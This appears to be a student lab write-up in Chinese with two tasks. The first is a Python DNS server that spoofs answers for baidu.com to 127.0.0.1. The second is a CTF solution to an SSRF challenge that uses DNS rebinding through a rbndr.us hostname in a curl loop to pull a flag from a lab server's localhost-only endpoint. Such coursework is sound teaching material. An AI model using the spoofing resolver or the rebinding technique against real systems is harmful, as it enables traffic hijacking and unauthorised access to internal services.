Task 1

code

```
import socket
import logging
from dns.resolver import Resolver
from dnslib import DNSRecord, QTYPE, RD, SOA, DNSHeader, RR, A

dns_resolver = Resolver()
dns_resolver.nameservers = ["8.8.8.8", "8.8.4.4"]

# 用于配置日志记录的函数
def logger_config(log_path,logging_name):
    logger = logging.getLogger(logging_name)
    logger.setLevel(level = logging.DEBUG)
    handler = logging.FileHandler(log_path, encoding='UTF-8')
    handler.setLevel(logging.INFO)
    formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %
(message)s')
    handler.setFormatter(formatter)
    console = logging.StreamHandler()
    console.setLevel(logging.DEBUG)
    logger.addHandler(handler)
    logger.addHandler(console)
    return logger


def get_ip_from_domain(domain):
    domain = domain.lower().strip()# 对域名进行规范化处理的操作（转化为小写字母并移除开头和结
尾的空格）
    try:
        # 使用query方法查询域名的A记录（即与域名对应的IP地址），[0]表示查询结果中的第一个记录（通
常只有一个A记录），然后用to_text方法将结果转换为字符串形式
        # 如果查询成功返回域名的IP地址，如果查询失败返回NONE
        return dns_resolver.resolve(domain, 'A')[0].to_text()
    except:
        return None

# income_record:传入的DNS请求报文，包含客户端的查询信息
# 第一行创建一个新的的DNSHeader对象id和bitmap属性与请求报文一致，qr=1表示这是回复报文
# 第二行将返回码设置为0，表示未找到相应记录
# 第三行创建DNSRecord对象，将上述DNSHeader对象传入，构建一个回复报文
def reply_for_not_found(income_record):
    header = DNSHeader(id = income_record.header.id, bitmap =
income_record.header.bitmap, qr = 1)
    header.set_rcode(0)
    record = DNSRecord(header, q =income_record.q)
    return record
```

```
def reply_for_A(income_record, ip, ttl = None):
    r_data = A(ip)
    header = DNSHeader(id = income_record.header.id, bitmap =
income_record.header.bitmap, qr = 1)
    domain = income_record.q.qname
    # 获取查询的域名，通过QTYPE.reverse.get('A')获取查询类型为A记录的整数值，如果获取不到，则
用.q.qtype作为查询类型（对应的整数值）
    query_type_int = QTYPE.reverse.get('A') or income_record.q.qtype
    # RR是一个函数类，用于创建DNS记录，domain是查询的域名，query_type_int是查询类型，r_data是
资源数据（这里是IP地址），ttl是生存时间
    # 创建了一个A记录对象'a'，构建了一个完整的DNS记录
    record = DNSRecord(header, q = income_record.q, a = RR(domain, query_type_int,
rdata = r_data, ttl = ttl))
    return record

# 一个DNS请求处理函数，它接受一个UDP套接字对象，收到的DNS消息和请求的地址作为参数
def dns_handler(s, message, address):
    try:
        income_record = DNSRecord.parse(message)
    except:
        logger.error('from %s, parse error' % address)
        return
    # 首先尝试解析收到的DNS消息，如果失败则记录错误并返回
    #然后根据解析结果确定查询类型
    try:
        qtype = QTYPE.get(income_record.q.qtype)
    except:
        qtype = 'unknown'
    # 提取查询的域名，并去除点号，得到domain
    domain = str(income_record.q.qname).strip('.')
    info = '%s -- %s, from %s.' % (qtype, domain, address)

    #如果查询类型是A，则调用get_ip_from_domain函数获取域名对应的IP地址。如果存在IP地址，则使用
reply_for_A函数构建一个回复消息response，并将其发送回请求的地址。如果查询类型不是'A'，或者域名对
应的IP地址不存在，则使用reply_for_not_found函数构建一个表示未找到的回复消息，并将其发送回请求的地
址。
    if domain == 'baidu.com':
        response = reply_for_A(income_record, ip = '127.0.0.1' , ttl = 0)
        s.sendto(response.pack(), address)
        return logger.info(info)
    else:
        if qtype == 'A' :
            ip = get_ip_from_domain(domain)
            if ip:
                response = reply_for_A(income_record, ip = ip, ttl = 0)
                s.sendto(response.pack(), address)
                return logger.info(info)
            else:
                response = reply_for_not_found(income_record)
                s.sendto(response.pack(), address)
                return logger.info(info)
```

```python
# 主程序部分使用一个UDP套接字对象绑定到53端口（DNS默认端口），输出日志信息表示DNS已经启动，进入无限循环，接收到UDP消息后调用dns_handler函数处理
if __name__ == '__main__':
    logger = logger_config(log_path = 'log.txt', logging_name = 'DNS_Server')
    udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    udp_sock.bind(('', 53))
    logger.info('DNS server is started.')

    while True:
        message, address = udp_sock.recvfrom(8192)
        dns_handler(udp_sock, message, address)
```

running demo

terminal 1

```
root@Petrichor:/mnt/c/Users/petrichor0/Desktop/安全攻防/web# python3
DNS_server.py
DNS server is started.
dig baidu.com@127.0.0.1
```

terminal 2(same domain)

```
root@Petrichor:/mnt/c/Users/petrichor0/Desktop/安全攻防
/web# dig baidu.com@127.0.0.1

; <<>> DiG 9.18.1-1ubuntu1.1-Ubuntu <<>> baidu.com@127.0.0.1
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 45565
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 901802c42fd828855634dac564aad2ff1fe9e46e23a38a92 (good)
;; QUESTION SECTION:
;baidu.com\@127.0.0.1.          IN      A

;; AUTHORITY SECTION:
.                       10800   IN      SOA     a.root-servers.net. n
stld.verisign-grs.com. 2023070900 1800 900 604800 86400

;; Query time: 30 msec
;; SERVER: 172.23.160.1#53(172.23.160.1) (UDP)
;; WHEN: Sun Jul 09 23:32:15 CST 2023
;; MSG SIZE  rcvd: 151
```

terminal2 (different domain)

```
root@Petrichor:/mnt/c/Users/petrichor0/Desktop/安全攻防/web# dig doub
an.com

; <<>> DiG 9.18.1-1ubuntu1.1-Ubuntu <<>> douban.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6629
;; flags: qr rd ad; QUERY: 1, ANSWER: 16, AUTHORITY: 0, ADDITIONAL: 0

;; WARNING: recursion requested but not available

;; QUESTION SECTION:
;douban.com.                    IN      A

;; ANSWER SECTION:
douban.com.             0       IN      A       81.70.124.99
douban.com.             0       IN      A       140.143.177.206
douban.com.             0       IN      A       49.233.242.15
c.gtld-servers.net.     0       IN      A       192.26.92.30
l.gtld-servers.net.     0       IN      A       192.41.162.30
d.gtld-servers.net.     0       IN      A       192.31.80.30
j.gtld-servers.net.     0       IN      A       192.48.79.30
e.gtld-servers.net.     0       IN      A       192.12.94.30
i.gtld-servers.net.     0       IN      A       192.43.172.30

;; Query time: 10 msec
;; SERVER: 172.23.160.1#53(172.23.160.1) (UDP)
;; WHEN: Sun Jul 09 23:34:48 CST 2023
;; MSG SIZE  rcvd: 528
```

Task 2

SSRF漏洞

SSRF，Server-Side Request Forgery，服务端请求伪造，是一种由攻击者构造形成由服务器端发起请求的一个漏洞。一般情况下，SSRF 攻击的目标是从外网无法访问的内部系统。

解题

观察页面源代码

- ```
  def do_GET(self):
          if self.path=="/":
              return self.index()
          elif self.path=="/showcode":
              return self.showcode()
          elif self.path=="/flag":
              return self.flag()
  ```

  可知当请求路径为 `/flag` 且客户端 IP 地址为 `127.0.0.1`（即本地主机）时，返回flag

- 故考虑到本题背景SSRF漏洞，先使用网站将两个IP地址生成一个低ttl的指定地址，用于dns rebinding攻击

- This page will help to generate a hostname for use with testing for dns rebinding vulnerabilities in software.

  To use this page, enter two ip addresses you would like to switch between. The hostname generated will resolve randomly to one of the addresses specified with a very low ttl.

  然后通过命令行

  ```
  while true;do curl
  http://10.214.160.13:10011/http://7f000001.01010101.rbndr.us:9999/flag; echo;
  sleep .1; done
  ```

  进行一个循环，使用 `curl` 命令不断向生成的IP地址（http://10.214.160.13:10011/http://7f000001.01010101.rbndr.us，其中前面的是指定网页（内网）的IP，后面是公网的IP）和端口发送请求，获取'/flag'端点的内容，然后使用 `echo` 命令打印输出，并通过 `sleep` 命令设置间隔时间。以此完成SSRF漏洞的攻击，获取flag

```
root@Petrichor:/mnt/c/Users/petrichor0# while true;do curl http://10.214.160.13:10011/http://7f000001.01010101.rbndr.us:9999/flag; ec
ho; sleep .1; done
AAA{welcome_t0_http://py3.io}
Error:HTTPConnectionPool(host='7f000001.01010101.rbndr.us', port=9999): Max retries exceeded with url: /flag (Caused by NewConnection
Error('<requests.packages.urllib3.connection.HTTPConnection object at 0x7f8b706b1278>: Failed to establish a new connection: [Errno 1
11] Connection refused',))
Error:HTTPConnectionPool(host='7f000001.01010101.rbndr.us', port=9999): Max retries exceeded with url: /flag (Caused by NewConnection
Error('<requests.packages.urllib3.connection.HTTPConnection object at 0x7f8b706d12b0>: Failed to establish a new connection: [Errno 1
11] Connection refused',))
AAA{welcome_t0_http://py3.io}
Error:SSRF Attack: inner ip address attack
Error:SSRF Attack: inner ip address attack
Error:SSRF Attack: inner ip address attack
AAA{welcome_t0_http://py3.io}
Error:SSRF Attack: inner ip address attack
AAA{welcome_t0_http://py3.io}
Error:SSRF Attack: inner ip address attack
Error:HTTPConnectionPool(host='7f000001.01010101.rbndr.us', port=9999): Max retries exceeded with url: /flag (Caused by NewConnection
Error('<requests.packages.urllib3.connection.HTTPConnection object at 0x7f8b706a5748>: Failed to establish a new connection: [Errno 1
11] Connection refused',))
Error:SSRF Attack: inner ip address attack
AAA{welcome_t0_http://py3.io}
```
```